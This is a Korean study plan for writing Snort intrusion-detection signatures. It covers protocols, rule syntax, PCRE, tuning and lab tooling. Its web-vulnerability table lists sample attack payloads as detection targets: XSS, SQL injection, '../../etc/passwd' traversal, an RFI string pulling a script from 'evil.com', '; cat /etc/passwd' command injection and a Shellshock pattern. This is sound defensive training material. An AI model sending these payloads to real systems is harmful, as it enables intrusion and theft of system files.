🔰 1단계: 네트워크 보안 기초
목표: 네트워크 구조 및 보안 개념 이해
주제세부 내용실습
OSI 7계층 | 계층별 프로토콜 / 역할 | OSI 레이어별 패킷 캡처 분석 |
TCP/IP 구조 | TCP 3-way handshake, 포트, Flag | Wireshark로 TCP/UDP 통신 캡처 |
주요 프로토콜 분석 | HTTP, DNS, FTP, SMTP 구조 | 실제 요청 보내고 패킷 비교 |
IDS 개념 | IDS vs IPS, Signature vs Heuristic | Snort vs Suricata 구조 비교 |
🚦 2단계: Snort 기본 사용법 & 룰 작성
목표: Snort의 동작 이해와 기본 룰 작성
주제세부 내용실습
Snort 설치 및 환경 구성 | 로컬 테스트 환경 (Kali, Ubuntu 등) | 테스트 환경에서 Snort 설치 |
Snort 구조 이해 | packet decoder → preprocessor → detection engine → output | 각 모듈의 역할 확인 |
기본 Rule 작성법 | alert, log, pass 등 Action | Hello World 시그니처 작성 |
Rule 옵션 | msg, sid, rev, classtype 등 | 옵션을 넣고 로그 확인 |
🧩 3단계: 고급 룰 옵션 & 정규표현식
목표: 다양한 공격 유형 탐지를 위한 고급 룰 작성
주제세부 내용실습
content 탐지 | content, nocase, offset, depth, distance, within | 다양한 위치 제한 실습 |
http_* 옵션 | http_uri, http_method, http_header, http_cookie | 웹 공격 탐지 룰 작성 |
PCRE (정규표현식) | Snort의 PCRE 문법, 흔한 오용 케이스 | alert tcp ... pcre:"/.../" 작성 |
Flow 제어 | flow, stateful, stateless 차이 | flow:to_server,established; 실습 |
Rule 튜닝 | False Positive 최소화 전략 | Signature 최적화 과제 |
🔬 4단계: 공격 탐지 및 시그니처 제작 실습
목표: 실제 공격을 기반으로 시그니처 작성
주제세부 내용실습
웹 취약점 기반 룰 | XSS, SQLi, Path Traversal, RCE | CVE 기반 시그니처 직접 작성 |
FTP/SMB/SSH 탐지 | 로그인 시도, Bruteforce, 취약 버전 탐지 | Bruteforce 탐지 룰 실습 |
악성 URL 탐지 | .exe, cmd, powershell 포함 URL | 샘플 URL을 기반으로 룰 작성 |
테스트 도구 사용 | Metasploit, Nikto, nmap 등 활용 | 공격 시나리오 → 탐지 실습 |
🎯 보너스: 실무형 과제
과제명목표
📄 CVE 기반 탐지룰 5개 작성 | CVE-2022-XXXX 같은 공개 취약점을 분석해 룰 생성 |
🔎 False Positive 분석 리포트 | 기존 룰 중 오탐 사례를 찾아 로그 분석 후 개선안 제안 |
⚙️ 커스텀 Preprocessor 설정 | Snort.conf 수정 → 특정 포트나 트래픽만 탐지하게 구성 |
📦 추천 실습 환경
- OS: Ubuntu Server + Kali Linux (VirtualBox or VMware)
- 툴: Wireshark, Scapy, Metasploit, Nikto, nmap
- 데이터셋: PCAP 파일 모음 (malware-traffic-analysis.net), Security Onion
🧠 실무 팁
- 로그 분석용 barnyard2나 ELK Stack 연계 가능
- 시그니처 검증은 반드시 실제 트래픽 기반 테스트 필수
- Snort 룰에서 msg, sid, rev는 꼼꼼히 기록할 것
- 다른 벤더의 룰도 참고해 (ET, Talos, etc.)
🧠 Snort 시그니처 개발을 위한 공부 항목 총정리
1️⃣ 네트워크 & 프로토콜 구조 이해
📌 왜? → 탐지 대상인 패킷 구조를 이해해야 정확한 룰 작성 가능
주제세부 항목
OSI 7계층 | 각 계층의 역할 (예: Layer 3 → IP, Layer 4 → TCP/UDP, Layer 7 → HTTP) |
Ethernet | MAC 주소 구조, EtherType (IPv4, IPv6 등) |
IP | IP Header 구조, IP ID, Protocol, TTL |
TCP/UDP | TCP Handshake, 플래그 (SYN/ACK), 포트 개념 |
HTTP/HTTPS | Method (GET/POST), URI 구조, Header, Body |
DNS | A/AAAA/NS 레코드, Query 구조 |
TLS | Client Hello / Server Hello 구조, SNI 등 |
Fragmentation | IP 단위 조각화 이해, 재조립 공격(LFI/BYPASS) 대비 |
📚 추천 실습:
- Wireshark로 HTTP GET, TCP Handshake, DNS Query 분석
- Scapy로 커스텀 패킷 만들어 보기
2️⃣ Snort 탐지 엔진 구조 및 룰 문법
📌 왜? → Snort가 트래픽을 처리하는 내부 동작 이해 → 최적의 룰 작성 가능
주제세부 항목
Snort 동작 흐름 | Decoder → Preprocessor → Detection Engine → Output |
Rule 구조 | alert tcp any any -> any 80 (msg:...; sid:...;) |
Rule Action | alert, pass, log, drop |
Rule Header | Protocol, IP/Port, Direction (->, <-) |
Rule Options | msg, content, offset, depth, http_uri, flow, sid, rev, metadata, classtype 등 |
Flow 제어 | flow: to_server,established; 등 |
📚 추천 실습:
- snort -c snort.conf -r test.pcap로 룰 적용 실습
- 로그 확인: /var/log/snort/alert
3️⃣ 정규표현식(PCRE) 마스터
📌 왜? → 단순 문자열 content로 못 잡는 공격을 탐지하기 위해 필수
주제세부 항목
기본 문법 | . * + ? {n} [] () ` |
고급 문법 | Non-greedy (.*?), Lookahead/behind |
PCRE 적용법 | pcre:"/\/cgi-bin\/.*;/"; 형식, http_uri와 함께 사용 가능 |
탐지 예시 | 우회된 alert(1), /../../etc/passwd, Base64 인코딩된 XSS |
📚 추천 실습:
- regex101.com에서 공격 패턴 실험
- Snort 룰 내 pcre: 사용해보기
4️⃣ 웹 기반 취약점 및 공격 기법 분석
📌 왜? → 룰의 탐지 대상이 되는 공격들을 구조적으로 이해해야 정확하게 탐지 가능
취약점설명 및 예시
XSS | <script>alert(1)</script>, 이벤트 기반 XSS |
SQLi | ' OR 1=1 --, UNION SELECT, Blind SQL |
LFI/RFI | ?file=../../etc/passwd, ?url=http://evil.com/1.sh |
Command Injection | ; cat /etc/passwd, ` |
Path Traversal | ../, %2e%2e%2f 등 디코딩 우회 |
RCE | /cgi-bin/, Bash Injection (() { :; };) |
기타 | User-Agent 기반 공격, Referer, Cookie 사용 우회 |
📚 추천 실습:
- OWASP DVWA에서 공격 시나리오 실행
- 공격 URL 기반으로 Snort 룰 작성
5️⃣ 패킷 분석 및 트래픽 재현 기술
📌 왜? → 시그니처 검증을 위한 실트 기반 테스트 필수
주제세부 항목
Wireshark | 필터링 (http.request, tcp.flags.syn==1, dns.qry.name 등) |
tcpdump | CLI 패킷 캡처 도구 |
tcpreplay | PCAP 재생 (Snort에게 트래픽 강제로 전달) |
공격 툴 | curl, wget, Metasploit, Nikto 등으로 실제 트래픽 생성 |
📚 추천 실습:
- Metasploitable, DVWA, Security Onion 이용한 테스트 환경 구성
- curl, wget으로 악성 요청 수동 생성 → 룰 탐지 확인
6️⃣ Snort Rule 튜닝 및 최적화
📌 왜? → 성능 최적화 및 False Positive 최소화를 위해
주제세부 항목
탐지 범위 제한 | offset, depth, within, distance 조절 |
프로토콜 지정 | http_uri, http_method 등으로 Layer 7 한정 |
잘못된 탐지 피하기 | pcre 사용 시 anchor (^, $) 사용, nocase 유무 |
시드 관리 | sid 충돌 방지, 룰 버전 rev 업데이트 기준 설정 |
7️⃣ 실무 도구 및 시그니처 관리
📌 왜? → 팀 환경 또는 제품에서의 룰 운영 시 필수 역량
도구설명
barnyard2 | Snort 로그 DB 연동 도구 |
PulledPork | 룰 자동 업데이트 및 통합 관리 |
Security Onion | Snort/Suricata/ELK 통합 보안 분석 플랫폼 |
ClamAV, YARA | 파일 기반 악성코드 탐지 (룰 비교용) |
💡 보너스: 시그니처 개발 실전 스텝 요약
- 공격 또는 취약점(CVE) 구조 분석
- 요청 트래픽 구조 파악 (Wireshark / 로그 확인)
- 핵심 탐지 문자열 도출 (URI, Header, Payload)
- Snort 룰 작성 (content, pcre, http_*)
- 트래픽 재현 (curl, tcpreplay)
- 로그 확인 및 룰 튜닝 (offset, pcre 조건 조정)